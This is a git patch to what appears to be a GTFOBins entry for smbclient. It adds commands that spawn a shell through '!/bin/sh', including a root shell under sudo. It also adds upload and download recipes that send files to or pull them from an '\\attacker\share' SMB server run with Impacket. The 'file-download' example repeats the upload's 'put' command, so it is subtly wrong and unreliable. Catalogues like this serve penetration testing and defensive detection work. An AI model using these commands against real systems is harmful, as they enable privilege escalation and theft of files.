From fec4b522812766bcb495b2e8d02cef0840074b0b Mon Sep 17 00:00:00 2001 From: Emilio Date: Sun, 10 Mar 2019 19:08:17 +0000 Subject: [PATCH] Add smbclient upload and download --- _gtfobins/smbclient.md | 12 ++++++++++-- 1 file changed, 10 insertions(+), 2 deletions(-) diff --git a/_gtfobins/smbclient.md b/_gtfobins/smbclient.md index b1a267e..5071ba9 100644 --- a/_gtfobins/smbclient.md +++ b/_gtfobins/smbclient.md @@ -3,10 +3,18 @@ description: A valid SMB/CIFS server must be available. functions: shell: - code: | - smbclient \\ip\share + smbclient '\\attacker\share' !/bin/sh + file-upload: + - description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to collect the file. + code: | + smbclient '\\attacker\share' -c 'put file_to_send where_to_save' + file-download: + - description: Install [Impacket](https://github.com/SecureAuthCorp/impacket) and run `sudo smbserver.py share /tmp` on the attacker box to send the file. + code: | + smbclient '\\attacker\share' -c 'put file_to_send where_to_save' sudo: - code: | - sudo smbclient \\ip\share + sudo smbclient '\\attacker\share' !/bin/sh ---